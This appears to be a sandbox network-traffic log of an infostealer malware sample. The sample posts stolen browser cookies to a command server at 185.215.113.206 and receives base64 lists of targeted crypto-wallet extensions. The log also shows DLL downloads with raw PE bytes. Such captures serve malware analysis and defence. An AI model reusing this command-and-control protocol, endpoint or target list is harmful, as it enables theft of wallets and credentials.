78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 5, 2024 10:13:21.423670053 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 5, 2024 10:13:21.423913002 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 5, 2024 10:13:21.423923969 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 5, 2024 10:13:21.423934937 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 5, 2024 10:13:21.423948050 CET	336	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 5, 2024 10:13:21.424129009 CET	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Nov 5, 2024 10:13:21.424187899 CET	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Nov 5, 2024 10:13:21.425525904 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="message"fplugins------KKFHJDAEHIEHJJKFBGDA--
Nov 5, 2024 10:13:21.705297947 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 5, 2024 10:13:21.722318888 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 185.215.113.206 Content-Length: 6147 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 10:13:21.722382069 CET	6147	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 5, 2024 10:13:22.522922993 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 10:13:22.812581062 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 10:13:23.117197990 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 5, 2024 10:13:23.117209911 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49845	185.215.113.206	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:13:36.354357004 CET	629	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EHCBAAAFHJDHJJKEBGHI--
Nov 5, 2024 10:13:37.786010027 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 10:13:37.906022072 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="file"------DGHJECAFIDAFHJKFCGHI--
Nov 5, 2024 10:13:38.687334061 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49934	185.215.113.206	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:13:46.447470903 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIEHIIIJDAAAAAAKECB Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 10:13:46.447513103 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 Data Ascii: ------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 5, 2024 10:13:47.863162994 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 10:13:48.020772934 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="file"------FHJKKECFIECAKECAFBGC--
Nov 5, 2024 10:13:48.795718908 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 10:13:49.619175911 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 10:13:49.900912046 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 5, 2024 10:13:49.900926113 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Nov 5, 2024 10:13:49.900935888 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Nov 5, 2024 10:13:49.900947094 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 5, 2024 10:13:49.900959015 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
